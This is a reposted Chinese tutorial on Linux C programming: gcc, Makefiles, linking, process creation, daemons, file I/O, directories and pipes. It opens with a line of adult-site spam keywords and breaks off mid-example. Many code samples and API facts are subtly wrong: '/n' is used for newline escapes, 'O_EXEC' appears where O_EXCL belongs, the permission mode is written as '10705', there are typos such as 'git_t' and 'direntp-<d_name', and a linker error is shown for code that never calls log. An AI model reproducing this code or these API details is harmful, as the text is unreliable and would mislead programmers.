3atv精品不卡视频,97人人超碰国产精品最新,中文字幕av一区二区三区人妻少妇,久久久精品波多野结衣,日韩一区二区三区精品

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > linux >内容正文

linux

Linux学习日志DAY8

發布時間:2023/12/20 linux 18 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Linux学习日志DAY8 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
1)Linux程序設計入門--基礎知識
2)Linux程序設計入門--進程介紹
3)Linux程序設計入門--文件操作
4)Linux程序設計入門--時間概念
5)Linux程序設計入門--信號處理
6)Linux程序設計入門--消息管理
7)Linux程序設計入門--線程操作
8)Linux程序設計入門--網絡編程
9)Linux下C開發工具介紹

(二)具體內容

1)Linux程序設計入門--基礎知識
Linux下C語言編程基礎知識
前言:
這篇文章介紹在LINUX下進行C語言編程所需要的基礎知識.在這篇文章當中,我們將
會學到以下內容:
源程序編譯
Makefile的編寫
程序庫的鏈接
程序的調試
頭文件和系統求助
----------------------------------------------------------------------------
----
1.源程序的編譯
在Linux下面,如果要編譯一個C語言源程序,我們要使用GNU的gcc編譯器. 下面我們
以一個實例來說明如何使用gcc編譯器.
假設我們有下面一個非常簡單的源程序(hello.c):
int main(int argc,char **argv)
{
printf("Hello Linux/n");
}
要編譯這個程序,我們只要在命令行下執行:
gcc -o hello hello.c
gcc 編譯器就會為我們生成一個hello的可執行文件.執行./hello就可以看到程序的輸出
結果了.命令行中 gcc表示我們是用gcc來編譯我們的源程序,-o 選項表示我們要求編譯
器給我們輸出的可執行文件名為hello 而hello.c是我們的源程序文件.
gcc編譯器有許多選項,一般來說我們只要知道其中的幾個就夠了. -o選項我們已經知道
了,表示我們要求輸出的可執行文件名. -c選項表示我們只要求編譯器輸出目標代碼,而
不必要輸出可執行文件. -g選項表示我們要求編譯器在編譯的時候提供我們以后對程序
進行調試的信息.
知道了這三個選項,我們就可以編譯我們自己所寫的簡單的源程序了,如果你想要知道更
多的選項,可以查看gcc的幫助文檔,那里有著許多對其它選項的詳細說明.
2.Makefile的編寫
假設我們有下面這樣的一個程序,源代碼如下:
/* main.c */
#include "mytool1.h"
#include "mytool2.h"
int main(int argc,char **argv)
{
mytool1_print("hello");
mytool2_print("hello");
}
/* mytool1.h */
#ifndef _MYTOOL_1_H
#define _MYTOOL_1_H
void mytool1_print(char *print_str);
#endif
/* mytool1.c */
#include "mytool1.h"
void mytool1_print(char *print_str)
{
printf("This is mytool1 print %s/n",print_str);
}
/* mytool2.h */
#ifndef _MYTOOL_2_H
#define _MYTOOL_2_H
void mytool2_print(char *print_str);
#endif
/* mytool2.c */
#include "mytool2.h"
void mytool2_print(char *print_str)
{
printf("This is mytool2 print %s/n",print_str);
}
當然由于這個程序是很短的我們可以這樣來編譯
gcc -c main.c
gcc -c mytool1.c
gcc -c mytool2.c
gcc -o main main.o mytool1.o mytool2.o
這樣的話我們也可以產生main程序,而且也不時很麻煩.但是如果我們考慮一下如果有一
天我們修改了其中的一個文件(比如說mytool1.c)那么我們難道還要重新輸入上面的命令
?也許你會說,這個很容易解決啊,我寫一個SHELL腳本,讓她幫我去完成不就可以了.是的
對于這個程序來說,是可以起到作用的.但是當我們把事情想的更復雜一點,如果我們的程
序有幾百個源程序的時候,難道也要編譯器重新一個一個的去編譯?
為此,聰明的程序員們想出了一個很好的工具來做這件事情,這就是make.我們只要執行以
下make,就可以把上面的問題解決掉.在我們執行make之前,我們要先編寫一個非常重要的
文件.--Makefile.對于上面的那個程序來說,可能的一個Makefile的文件是:
# 這是上面那個程序的Makefile文件
main:main.o mytool1.o mytool2.o
gcc -o main main.o mytool1.o mytool2.o
main.o:main.c mytool1.h mytool2.h
gcc -c main.c
mytool1.o:mytool1.c mytool1.h
gcc -c mytool1.c
mytool2.o:mytool2.c mytool2.h
gcc -c mytool2.c
有了這個Makefile文件,不過我們什么時候修改了源程序當中的什么文件,我們只要執行
make命令,我們的編譯器都只會去編譯和我們修改的文件有關的文件,其它的文件她連理
都不想去理的.
下面我們學習Makefile是如何編寫的.
在Makefile中也#開始的行都是注釋行.Makefile中最重要的是描述文件的依賴關系的說
明.一般的格式是:
target: components
TAB rule
第一行表示的是依賴關系.第二行是規則.
比如說我們上面的那個Makefile文件的第二行
main:main.o mytool1.o mytool2.o
表示我們的目標(target)main的依賴對象(components)是main.o mytool1.o mytool2.o
當倚賴的對象在目標修改后修改的話,就要去執行規則一行所指定的命令.就象我們的上
面那個Makefile第三行所說的一樣要執行 gcc -o main main.o mytool1.o mytool2.o
注意規則一行中的TAB表示那里是一個TAB鍵
Makefile有三個非常有用的變量.分別是$@,$^,$<代表的意義分別是:
$@--目標文件,$^--所有的依賴文件,$<--第一個依賴文件.
如果我們使用上面三個變量,那么我們可以簡化我們的Makefile文件為:
# 這是簡化后的Makefile
main:main.o mytool1.o mytool2.o
gcc -o $@ $^
main.o:main.c mytool1.h mytool2.h
gcc -c $<
mytool1.o:mytool1.c mytool1.h
gcc -c $<
mytool2.o:mytool2.c mytool2.h
gcc -c $<
經過簡化后我們的Makefile是簡單了一點,不過人們有時候還想簡單一點.這里我們學習
一個Makefile的缺省規則
..c.o:
gcc -c $<
這個規則表示所有的 .o文件都是依賴與相應的.c文件的.例如mytool.o依賴于mytool.c
這樣Makefile還可以變為:
# 這是再一次簡化后的Makefile
main:main.o mytool1.o mytool2.o
gcc -o $@ $^
..c.o:
gcc -c $<
好了,我們的Makefile 也差不多了,如果想知道更多的關于Makefile規則可以查看相應的
文檔.
3.程序庫的鏈接
試著編譯下面這個程序
/* temp.c */
#include <math.h>
int main(int argc,char **argv)
{
double value;
printf("Value:%f/n",value);
}
這個程序相當簡單,但是當我們用 gcc -o temp temp.c 編譯時會出現下面所示的錯誤.

/tmp/cc33Kydu.o: In function `main':
/tmp/cc33Kydu.o(.text+0xe): undefined reference to `log'
collect2: ld returned 1 exit status
出現這個錯誤是因為編譯器找不到log的具體實現.雖然我們包括了正確的頭文件,但是我
們在編譯的時候還是要連接確定的庫.在Linux下,為了使用數學函數,我們必須和數學庫
連接,為此我們要加入 -lm 選項. gcc -o temp temp.c -lm這樣才能夠正確的編譯.也許
有人要問,前面我們用printf函數的時候怎么沒有連接庫呢?是這樣的,對于一些常用的函
數的實現,gcc編譯器會自動去連接一些常用庫,這樣我們就沒有必要自己去指定了. 有時
候我們在編譯程序的時候還要指定庫的路徑,這個時候我們要用到編譯器的 -L選項指定
路徑.比如說我們有一個庫在 /home/hoyt/mylib下,這樣我們編譯的時候還要加上 -L/h
ome/hoyt/mylib.對于一些標準庫來說,我們沒有必要指出路徑.只要它們在起缺省庫的路
徑下就可以了.系統的缺省庫的路徑/lib /usr/lib /usr/local/lib 在這三個路徑下面
的庫,我們可以不指定路徑.
還有一個問題,有時候我們使用了某個函數,但是我們不知道庫的名字,這個時候怎么辦呢
?很抱歉,對于這個問題我也不知道答案,我只有一個傻辦法.首先,我到標準庫路徑下面去
找看看有沒有和我用的函數相關的庫,我就這樣找到了線程(thread)函數的庫文件(libp
thread.a). 當然,如果找不到,只有一個笨方法.比如我要找sin這個函數所在的庫. 就只
好用 nm -o /lib/*.so|grep sin>~/sin 命令,然后看~/sin文件,到那里面去找了. 在s
in文件當中,我會找到這樣的一行libm-2.1.2.so:00009fa0 W sin 這樣我就知道了sin在
libm-2.1.2.so庫里面,我用 -lm選項就可以了(去掉前面的lib和后面的版本標志,就剩
下m了所以是 -lm). 如果你知道怎么找,請趕快告訴我,我回非常感激的.謝謝!
4.程序的調試
我們編寫的程序不太可能一次性就會成功的,在我們的程序當中,會出現許許多多我
們想不到的錯誤,這個時候我們就要對我們的程序進行調試了.
最常用的調試軟件是gdb.如果你想在圖形界面下調試程序,那么你現在可以選擇xxgdb.記
得要在編譯的時候加入 -g選項.關于gdb的使用可以看gdb的幫助文件.由于我沒有用過這
個軟件,所以我也不能夠說出如何使用. 不過我不喜歡用gdb.跟蹤一個程序是很煩的事情
,我一般用在程序當中輸出中間變量的值來調試程序的.當然你可以選擇自己的辦法,沒有
必要去學別人的.現在有了許多IDE環境,里面已經自己帶了調試器了.你可以選擇幾個試
一試找出自己喜歡的一個用.
5.頭文件和系統求助
有時候我們只知道一個函數的大概形式,不記得確切的表達式,或者是不記得著函數
在那個頭文件進行了說明.這個時候我們可以求助系統.
比如說我們想知道fread這個函數的確切形式,我們只要執行 man fread 系統就會輸出著
函數的詳細解釋的.和這個函數所在的頭文件<stdio.h>說明了. 如果我們要write這個函
數的說明,當我們執行man write時,輸出的結果卻不是我們所需要的. 因為我們要的是w
rite這個函數的說明,可是出來的卻是write這個命令的說明.為了得到write的函數說明
我們要用 man 2 write. 2表示我們用的write這個函數是系統調用函數,還有一個我們常
用的是3表示函數是C的庫函數.
記住不管什么時候,man都是我們的最好助手.
------------------------------------------------------------------------
好了,這一章就講這么多了,有了這些知識我們就可以進入激動人心的Linux下的C程序探
險活動.

2)Linux程序設計入門--進程介紹
Linux下進程的創建
前言:
這篇文章是用來介紹在Linux下和進程相關的各個概念.我們將會學到:
進程的概念
進程的身份
進程的創建
守護進程的創建
----------------------------------------------------------------------------
----
1。進程的概念
Linux操作系統是面向多用戶的.在同一時間可以有許多用戶向操作系統發出各種命
令.那么操作系統是怎么實現多用戶的環境呢? 在現代的操作系統里面,都有程序和進程
的概念.那么什么是程序,什么是進程呢? 通俗的講程序是一個包含可以執行代碼的文件
,是一個靜態的文件.而進程是一個開始執行但是還沒有結束的程序的實例.就是可執行文
件的具體實現. 一個程序可能有許多進程,而每一個進程又可以有許多子進程.依次循環
下去,而產生子孫進程. 當程序被系統調用到內存以后,系統會給程序分配一定的資源(內
存,設備等等)然后進行一系列的復雜操作,使程序變成進程以供系統調用.在系統里面只
有進程沒有程序,為了區分各個不同的進程,系統給每一個進程分配了一個ID(就象我們的
身份證)以便識別. 為了充分的利用資源,系統還對進程區分了不同的狀態.將進程分為新
建,運行,阻塞,就緒和完成五個狀態. 新建表示進程正在被創建,運行是進程正在運行,阻
塞是進程正在等待某一個事件發生,就緒是表示系統正在等待CPU來執行命令,而完成表示
進程已經結束了系統正在回收資源. 關于進程五個狀態的詳細解說我們可以看《操作系
統》上面有詳細的解說。
2。進程的標志
上面我們知道了進程都有一個ID,那么我們怎么得到進程的ID呢?系統調用getpid可
以得到進程的ID,而getppid可以得到父進程(創建調用該函數進程的進程)的ID.
#include <unistd>
pid_t getpid(void);
pid_t getppid(void);
進程是為程序服務的,而程序是為了用戶服務的.系統為了找到進程的用戶名,還為進程和
用戶建立聯系.這個用戶稱為進程的所有者.相應的每一個用戶也有一個用戶ID.通過系統
調用getuid可以得到進程的所有者的ID.由于進程要用到一些資源,而Linux對系統資源是
進行保護的,為了獲取一定資源進程還有一個有效用戶ID.這個ID和系統的資源使用有關
,涉及到進程的權限. 通過系統調用geteuid我們可以得到進程的有效用戶ID. 和用戶ID
相對應進程還有一個組ID和有效組ID系統調用getgid和getegid可以分別得到組ID和有效
組ID
#include <unistd>
#include <sys/types.h>

uid_t getuid(void);
uid_t geteuid(void);
gid_t getgid(void);
git_t getegid(void);
有時候我們還會對用戶的其他信息感興趣(登錄名等等),這個時候我們可以調用getpwui
d來得到.
struct passwd {
char *pw_name; /* 登錄名稱 */
char *pw_passwd; /* 登錄口令 */
uid_t pw_uid; /* 用戶ID */
gid_t pw_gid; /* 用戶組ID */
char *pw_gecos; /* 用戶的真名 */
char *pw_dir; /* 用戶的目錄 */
char *pw_shell; /* 用戶的SHELL */
};
#include <pwd.h>
#include <sys/types.h>

struct passwd *getpwuid(uid_t uid);
下面我們學習一個實例來實踐一下上面我們所學習的幾個函數:
#include <unistd.h>
#include <pwd.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc,char **argv)
{
pid_t my_pid,parent_pid;
uid_t my_uid,my_euid;
gid_t my_gid,my_egid;
struct passwd *my_info;
my_pid=getpid();
parent_pid=getppid();
my_uid=getuid();
my_euid=geteuid();
my_gid=getgid();
my_egid=getegid();
my_info=getpwuid(my_uid);
printf("Process ID:%ld/n",my_pid);
printf("Parent ID:%ld/n",parent_pid);
printf("User ID:%ld/n",my_uid);
printf("Effective User ID:%ld/n",my_euid);
printf("Group ID:%ld/n",my_gid);
printf("Effective Group ID:%ld/n",my_egid):
if(my_info)
{
printf("My Login Name:%s/n" ,my_info->pw_name);
printf("My Password :%s/n" ,my_info->pw_passwd);
printf("My User ID :%ld/n",my_info->pw_uid);
printf("My Group ID :%ld/n",my_info->pw_gid);
printf("My Real Name:%s/n" ,my_info->pw_gecos);
printf("My Home Dir :%s/n", my_info->pw_dir);
printf("My Work Shell:%s/n", my_info->pw_shell);
}
}
3。進程的創建
創建一個進程的系統調用很簡單.我們只要調用fork函數就可以了.
#include <unistd.h>

pid_t fork();
當一個進程調用了fork以后,系統會創建一個子進程.這個子進程和父進程不同的地方只
有他的進程ID和父進程ID,其他的都是一樣.就象符進程克隆(clone)自己一樣.當然創建
兩個一模一樣的進程是沒有意義的.為了區分父進程和子進程,我們必須跟蹤fork的返回
值. 當fork掉用失敗的時候(內存不足或者是用戶的最大進程數已到)fork返回-1,否則f
ork的返回值有重要的作用.對于父進程fork返回子進程的ID,而對于fork子進程返回0.我
們就是根據這個返回值來區分父子進程的. 父進程為什么要創建子進程呢?前面我們已經
說過了Linux是一個多用戶操作系統,在同一時間會有許多的用戶在爭奪系統的資源.有時
進程為了早一點完成任務就創建子進程來爭奪資源. 一旦子進程被創建,父子進程一起從
fork處繼續執行,相互競爭系統的資源.有時候我們希望子進程繼續執行,而父進程阻塞直
到子進程完成任務.這個時候我們可以調用wait或者waitpid系統調用.
#include <sys/types.h>
#include <sys/wait.h>

pid_t wait(int *stat_loc);
pid_t waitpid(pid_t pid,int *stat_loc,int options);
wait系統調用會使父進程阻塞直到一個子進程結束或者是父進程接受到了一個信號.如果
沒有父進程沒有子進程或者他的子進程已經結束了wait回立即返回.成功時(因一個子進
程結束)wait將返回子進程的ID,否則返回-1,并設置全局變量errno.stat_loc是子進程的
退出狀態.子進程調用exit,_exit 或者是return來設置這個值. 為了得到這個值Linux定
義了幾個宏來測試這個返回值.
WIFEXITED:判斷子進程退出值是非0
WEXITSTATUS:判斷子進程的退出值(當子進程退出時非0).
WIFSIGNALED:子進程由于有沒有獲得的信號而退出.
WTERMSIG:子進程沒有獲得的信號號(在WIFSIGNALED為真時才有意義).
waitpid等待指定的子進程直到子進程返回.如果pid為正值則等待指定的進程(pid).如果
為0則等待任何一個組ID和調用者的組ID相同的進程.為-1時等同于wait調用.小于-1時等
待任何一個組ID等于pid絕對值的進程. stat_loc和wait的意義一樣. options可以決定
父進程的狀態.可以取兩個值 WNOHANG:父進程立即返回當沒有子進程存在時. WUNTACHE
D:當子進程結束時waitpid返回,但是子進程的退出狀態不可得到.
父進程創建子進程后,子進程一般要執行不同的程序.為了調用系統程序,我們可以使用系
統調用exec族調用.exec族調用有著5個函數.
#include <unistd.h>
int execl(const char *path,const char *arg,...);
int execlp(const char *file,const char *arg,...);
int execle(const char *path,const char *arg,...);
int execv(const char *path,char *const argv[]);
int execvp(const char *file,char *const argv[]):
exec族調用可以執行給定程序.關于exec族調用的詳細解說可以參考系統手冊(man exec
l). 下面我們來學習一個實例.注意編譯的時候要加 -lm以便連接數學函數庫.
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <stdio.h>
#include <errno.h>
#include <math.h>
void main(void)
{
pid_t child;
int status;
printf("This will demostrate how to get child status/n");
if((child=fork())==-1)
{
printf("Fork Error :%s/n",strerror(errno));
exit(1);
}
else if(child==0)
{
int i;
printf("I am the child:%ld/n",getpid());
for(i=0;i<1000000;i++) sin(i);
i=5;
printf("I exit with %d/n",i);
exit(i);
}
while(((child=wait(&status))==-1)&(errno==EINTR));
if(child==-1)
printf("Wait Error:%s/n",strerror(errno));
else if(!status)
printf("Child %ld terminated normally return status is zero/n",
child);
else if(WIFEXITED(status))
printf("Child %ld terminated normally return status is %d/n",
child,WEXITSTATUS(status));
else if(WIFSIGNALED(status))
printf("Child %ld terminated due to signal %d znot caught/n",
child,WTERMSIG(status));
}
strerror函數會返回一個指定的錯誤號的錯誤信息的字符串.
4。守護進程的創建
如果你在DOS時代編寫過程序,那么你也許知道在DOS下為了編寫一個常駐內存的程序
我們要編寫多少代碼了.相反如果在Linux下編寫一個"常駐內存"的程序卻是很容易的.我
們只要幾行代碼就可以做到. 實際上由于Linux是多任務操作系統,我們就是不編寫代碼
也可以把一個程序放到后臺去執行的.我們只要在命令后面加上&符號SHELL就會把我們的
程序放到后臺去運行的. 這里我們"開發"一個后臺檢查郵件的程序.這個程序每個一個指
定的時間回去檢查我們的郵箱,如果發現我們有郵件了,會不斷的報警(通過機箱上的小喇
叭來發出聲音). 后面有這個函數的加強版本加強版本
后臺進程的創建思想: 首先父進程創建一個子進程.然后子進程殺死父進程(是不是很無
情?). 信號處理所有的工作由子進程來處理.
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <stdio.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
/* Linux 的默任個人的郵箱地址是 /var/spool/mail/用戶的登錄名 */
#define MAIL "/var/spool/mail/hoyt"
/* 睡眠10秒鐘 */

#define SLEEP_TIME 10
main(void)
{
pid_t child;
if((child=fork())==-1)
{
printf("Fork Error:%s/n",strerror(errno));
exit(1);
}
else if(child>0)
while(1);
if(kill(getppid(),SIGTERM)==-1)
{
printf("Kill Parent Error:%s/n",strerror(errno));
exit(1);
}
{
int mailfd;
while(1)
{
if((mailfd=open(MAIL,O_RDONLY))!=-1)
{
fprintf(stderr,"%s","/007");
close(mailfd);
}
sleep(SLEEP_TIME);
}
}
}
你可以在默認的路徑下創建你的郵箱文件,然后測試一下這個程序.當然這個程序還有很
多地方要改善的.我們后面會對這個小程序改善的,再看我的改善之前你可以嘗試自己改
善一下.比如讓用戶指定郵相的路徑和睡眠時間等等.相信自己可以做到的.動手吧,勇敢
的探險者.
好了進程一節的內容我們就先學到這里了.進程是一個非常重要的概念,許多的程序都會
用子進程.創建一個子進程是每一個程序員的基本要求!

3)Linux程序設計入門--文件操作
Linux下文件的操作
前言:
我們在這一節將要討論linux下文件操作的各個函數.
文件的創建和讀寫
文件的各個屬性
目錄文件的操作
管道文件
----------------------------------------------------------------------------
----
1。文件的創建和讀寫
我假設你已經知道了標準級的文件操作的各個函數(fopen,fread,fwrite等等).當然
如果你不清楚的話也不要著急.我們討論的系統級的文件操作實際上是為標準級文件操作
服務的.
當我們需要打開一個文件進行讀寫操作的時候,我們可以使用系統調用函數open.使用完
成以后我們調用另外一個close函數進行關閉操作.
#include <fcntl.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>

int open(const char *pathname,int flags);
int open(const char *pathname,int flags,mode_t mode);
int close(int fd);
open函數有兩個形式.其中pathname是我們要打開的文件名(包含路徑名稱,缺省是認為在
當前路徑下面).flags可以去下面的一個值或者是幾個值的組合.
O_RDONLY:以只讀的方式打開文件.
O_WRONLY:以只寫的方式打開文件.
O_RDWR:以讀寫的方式打開文件.
O_APPEND:以追加的方式打開文件.
O_CREAT:創建一個文件.
O_EXEC:如果使用了O_CREAT而且文件已經存在,就會發生一個錯誤.
O_NOBLOCK:以非阻塞的方式打開一個文件.
O_TRUNC:如果文件已經存在,則刪除文件的內容.
前面三個標志只能使用任意的一個.如果使用了O_CREATE標志,那么我們要使用open的第
二種形式.還要指定mode標志,用來表示文件的訪問權限.mode可以是以下情況的組合.
-----------------------------------------------------------------
S_IRUSR 用戶可以讀 S_IWUSR 用戶可以寫
S_IXUSR 用戶可以執行 S_IRWXU 用戶可以讀寫執行
-----------------------------------------------------------------
S_IRGRP 組可以讀 S_IWGRP 組可以寫
S_IXGRP 組可以執行 S_IRWXG 組可以讀寫執行
-----------------------------------------------------------------
S_IROTH 其他人可以讀 S_IWOTH 其他人可以寫
S_IXOTH 其他人可以執行 S_IRWXO 其他人可以讀寫執行
-----------------------------------------------------------------
S_ISUID 設置用戶執行ID S_ISGID 設置組的執行ID
-----------------------------------------------------------------
我們也可以用數字來代表各個位的標志.Linux總共用5個數字來表示文件的各種權限.
00000.第一位表示設置用戶ID.第二位表示設置組ID,第三位表示用戶自己的權限位,第四
位表示組的權限,最后一位表示其他人的權限.
每個數字可以取1(執行權限),2(寫權限),4(讀權限),0(什么也沒有)或者是這幾個值的和
..
比如我們要創建一個用戶讀寫執行,組沒有權限,其他人讀執行的文件.設置用戶ID位那么
我們可以使用的模式是--1(設置用戶ID)0(組沒有設置)7(1+2+4)0(沒有權限,使用缺省)
5(1+4)即10705:
open("temp",O_CREAT,10705);
如果我們打開文件成功,open會返回一個文件描述符.我們以后對文件的所有操作就可以
對這個文件描述符進行操作了.
當我們操作完成以后,我們要關閉文件了,只要調用close就可以了,其中fd是我們要關閉
的文件描述符.
文件打開了以后,我們就要對文件進行讀寫了.我們可以調用函數read和write進行文件的
讀寫.
#include <unistd.h>
ssize_t read(int fd, void *buffer,size_t count);
ssize_t write(int fd, const void *buffer,size_t count);
fd是我們要進行讀寫操作的文件描述符,buffer是我們要寫入文件內容或讀出文件內容的
內存地址.count是我們要讀寫的字節數.
對于普通的文件read從指定的文件(fd)中讀取count字節到buffer緩沖區中(記住我們必
須提供一個足夠大的緩沖區),同時返回count.
如果read讀到了文件的結尾或者被一個信號所中斷,返回值會小于count.如果是由信號中
斷引起返回,而且沒有返回數據,read會返回-1,且設置errno為EINTR.當程序讀到了文件
結尾的時候,read會返回0.
write從buffer中寫count字節到文件fd中,成功時返回實際所寫的字節數.
下面我們學習一個實例,這個實例用來拷貝文件.
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <errno.h>
#include <string.h>
#define BUFFER_SIZE 1024
int main(int argc,char **argv)
{
int from_fd,to_fd;
int bytes_read,bytes_write;
char buffer[BUFFER_SIZE];
char *ptr;
if(argc!=3)
{
fprintf(stderr,"Usage:%s fromfile tofile/n/a",argv[0]);
exit(1);
}
/* 打開源文件 */
if((from_fd=open(argv[1],O_RDONLY))==-1)
{
fprintf(stderr,"Open %s Error:%s/n",argv[1],strerror(errno));
exit(1);
}
/* 創建目的文件 */
if((to_fd=open(argv[2],O_WRONLY|O_CREAT,S_IRUSR|S_IWUSR))==-1)
{
fprintf(stderr,"Open %s Error:%s/n",argv[2],strerror(errno));
exit(1);
}
/* 以下代碼是一個經典的拷貝文件的代碼 */
while(bytes_read=read(from_fd,buffer,BUFFER_SIZE))
{
/* 一個致命的錯誤發生了 */
if((bytes_read==-1)&&(errno!=EINTR)) break;
else if(bytes_read>0)
{
ptr=buffer;
while(bytes_write=write(to_fd,ptr,bytes_read))
{
/* 一個致命錯誤發生了 */
if((bytes_write==-1)&&(errno!=EINTR))break;
/* 寫完了所有讀的字節 */
else if(bytes_write==bytes_read) break;
/* 只寫了一部分,繼續寫 */
else if(bytes_write>0)
{
ptr+=bytes_write;
bytes_read-=bytes_write;
}
}
/* 寫的時候發生的致命錯誤 */
if(bytes_write==-1)break;
}
}
close(from_fd);
close(to_fd);
exit(0);
}
2。文件的各個屬性
文件具有各種各樣的屬性,除了我們上面所知道的文件權限以外,文件還有創建時間
,大小等等屬性.
有時侯我們要判斷文件是否可以進行某種操作(讀,寫等等).這個時候我們可以使用acce
ss函數.
#include <unistd.h>

int access(const char *pathname,int mode);
pathname:是文件名稱,mode是我們要判斷的屬性.可以取以下值或者是他們的組合.
R_OK文件可以讀,W_OK文件可以寫,X_OK文件可以執行,F_OK文件存在.當我們測試成功時
,函數返回0,否則如果有一個條件不符時,返回-1.
如果我們要獲得文件的其他屬性,我們可以使用函數stat或者fstat.
#include <sys/stat.h>
#include <unistd.h>
int stat(const char *file_name,struct stat *buf);
int fstat(int filedes,struct stat *buf);
struct stat {
dev_t st_dev; /* 設備 */
ino_t st_ino; /* 節點 */
mode_t st_mode; /* 模式 */
nlink_t st_nlink; /* 硬連接 */
uid_t st_uid; /* 用戶ID */
gid_t st_gid; /* 組ID */
dev_t st_rdev; /* 設備類型 */
off_t st_off; /* 文件字節數 */
unsigned long st_blksize; /* 塊大小 */
unsigned long st_blocks; /* 塊數 */
time_t st_atime; /* 最后一次訪問時間 */
time_t st_mtime; /* 最后一次修改時間 */
time_t st_ctime; /* 最后一次改變時間(指屬性) */
};
stat用來判斷沒有打開的文件,而fstat用來判斷打開的文件.我們使用最多的屬性是st_
mode.通過著屬性我們可以判斷給定的文件是一個普通文件還是一個目錄,連接等等.可以
使用下面幾個宏來判斷.
S_ISLNK(st_mode):是否是一個連接.S_ISREG是否是一個常規文件.S_ISDIR是否是一個目
錄S_ISCHR是否是一個字符設備.S_ISBLK是否是一個塊設備S_ISFIFO是否 是一個FIFO文
件.S_ISSOCK是否是一個SOCKET文件. 我們會在下面說明如何使用這幾個宏的.
3。目錄文件的操作
在我們編寫程序的時候,有時候會要得到我們當前的工作路徑。C庫函數提供了get
cwd來解決這個問題。
#include <unistd.h>

char *getcwd(char *buffer,size_t size);
我們提供一個size大小的buffer,getcwd會把我們當前的路徑考到buffer中.如果buffer
太小,函數會返回-1和一個錯誤號.
Linux提供了大量的目錄操作函數,我們學習幾個比較簡單和常用的函數.
#include <dirent.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
int mkdir(const char *path,mode_t mode);
DIR *opendir(const char *path);
struct dirent *readdir(DIR *dir);
void rewinddir(DIR *dir);
off_t telldir(DIR *dir);
void seekdir(DIR *dir,off_t off);
int closedir(DIR *dir);
struct dirent {
long d_ino;
off_t d_off;
unsigned short d_reclen;
char d_name[NAME_MAX+1]; /* 文件名稱 */
mkdir很容易就是我們創建一個目錄,opendir打開一個目錄為以后讀做準備.readdir讀一
個打開的目錄.rewinddir是用來重讀目錄的和我們學的rewind函數一樣.closedir是關閉
一個目錄.telldir和seekdir類似與ftee和fseek函數.
下面我們開發一個小程序,這個程序有一個參數.如果這個參數是一個文件名,我們輸出這
個文件的大小和最后修改的時間,如果是一個目錄我們輸出這個目錄下所有文件的大小和
修改時間.
#include <unistd.h>
#include <stdio.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <dirent.h>
#include <time.h>
static int get_file_size_time(const char *filename)
{
struct stat statbuf;
if(stat(filename,&statbuf)==-1)
{
printf("Get stat on %s Error:%s/n",
filename,strerror(errno));
return(-1);
}
if(S_ISDIR(statbuf.st_mode))return(1);
if(S_ISREG(statbuf.st_mode))
printf("%s size:%ld bytes/tmodified at %s",
filename,statbuf.st_size,ctime(&statbuf.st_mtime));

return(0);
}
int main(int argc,char **argv)
{
DIR *dirp;
struct dirent *direntp;
int stats;
if(argc!=2)
{
printf("Usage:%s filename/n/a",argv[0]);
exit(1);
}
if(((stats=get_file_size_time(argv[1]))==0)||(stats==-1))exit(1);
if((dirp=opendir(argv[1]))==NULL)
{
printf("Open Directory %s Error:%s/n",
argv[1],strerror(errno));
exit(1);
}
while((direntp=readdir(dirp))!=NULL)
if(get_file_size_time(direntp-<d_name)==-1)break;
closedir(dirp);
exit(1);
}
4。管道文件
Linux提供了許多的過濾和重定向程序,比如more cat
等等.還提供了< > | <<等等重定向操作符.在這些過濾和重 定向程序當中,都用到了管
道這種特殊的文件.系統調用pipe可以創建一個管道.
#include<unistd.h>

int pipe(int fildes[2]);
pipe調用可以創建一個管道(通信緩沖區).當調用成功時,我們可以訪問文件描述符fild
es[0],fildes[1].其中fildes[0]是用來讀的文件描述符,而fildes[1]是用來寫的文件描
述符.
在實際使用中我們是通過創建一個子進程,然后一個進程寫,一個進程讀來使用的.
關于進程通信的詳細情況請查看進程通信
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/wait.h>
#define BUFFER 255
int main(int argc,char **argv)
{
char buffer[BUFFER+1];
int fd[2];
if(argc!=2)
{
fprintf(stderr,"Usage:%s string/n/a",argv[0]);
exit(1);
}
if(pipe(fd)!=0)
{
fprintf(stderr,"Pipe Error:%s/n/a",strerror(errno));
exit(1);
}
if(fork()==0)
{
close(fd[0]);
printf("Child[%d] Write to pipe/n/a",getpid());
snprintf(buffer,BUFFER,"%s",argv[1]);
write(fd[1],buffer,strlen(buffer));
printf("Child[%d] Quit/n/a",getpid());
exit(0);
}
else
{
close(fd[1]);
printf("Parent[%d] Read from pipe/n/a",getpid());
memset(buffer,'/0',BUFFER+1);
read(fd[0],buffer,BUFFER);
printf("Parent[%d] Read:%s/n",getpid(),buffer);
exit(1);
}
}
為了實現重定向操作,我們需要調用另外一個函數dup2.
#include <unistd.h>

int dup2(int oldfd,int newfd);
dup2將用oldfd文件描述符來代替newfd文件描述符,同時關閉newfd文件描述符.也就是說
,
所有向newfd操作都轉到oldfd上面.下面我們學習一個例子,這個例子將標準輸出重定向
到一個文件.
#include <unistd.h>
#include <stdio.h>
#include <errno.h>
#include <fcntl.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#define BUFFER_SIZE 1024
int main(int argc,char **argv)
{
int fd;
char buffer[BUFFER_SIZE];
if(argc!=2)
{
fprintf(stderr,"Usage:%s outfilename/n/a",argv[0]);
exit(1);
}
if((fd=open(argv[1],O_WRONLY|O_CREAT|O_TRUNC,S_IRUSR|S_IWUSR))==-1)
{
fprintf(stderr,"Open %s Error:%s/n/a",argv[1],strerror(errno));
exit(1);
}
if(dup2(fd,STDOUT_FILENO)==-1)
{
fprintf(stderr,"Redirect Standard Out Error:%s/n/a",strerror(errno));
exit(1);
}
fprintf(stderr,"Now,please input string");
fprintf(stderr,"(To quit use CTRL+D)/n");
while(1)
{
fgets(buffer,BUFFER_SIZE,stdin);
if(feof(stdin))break;
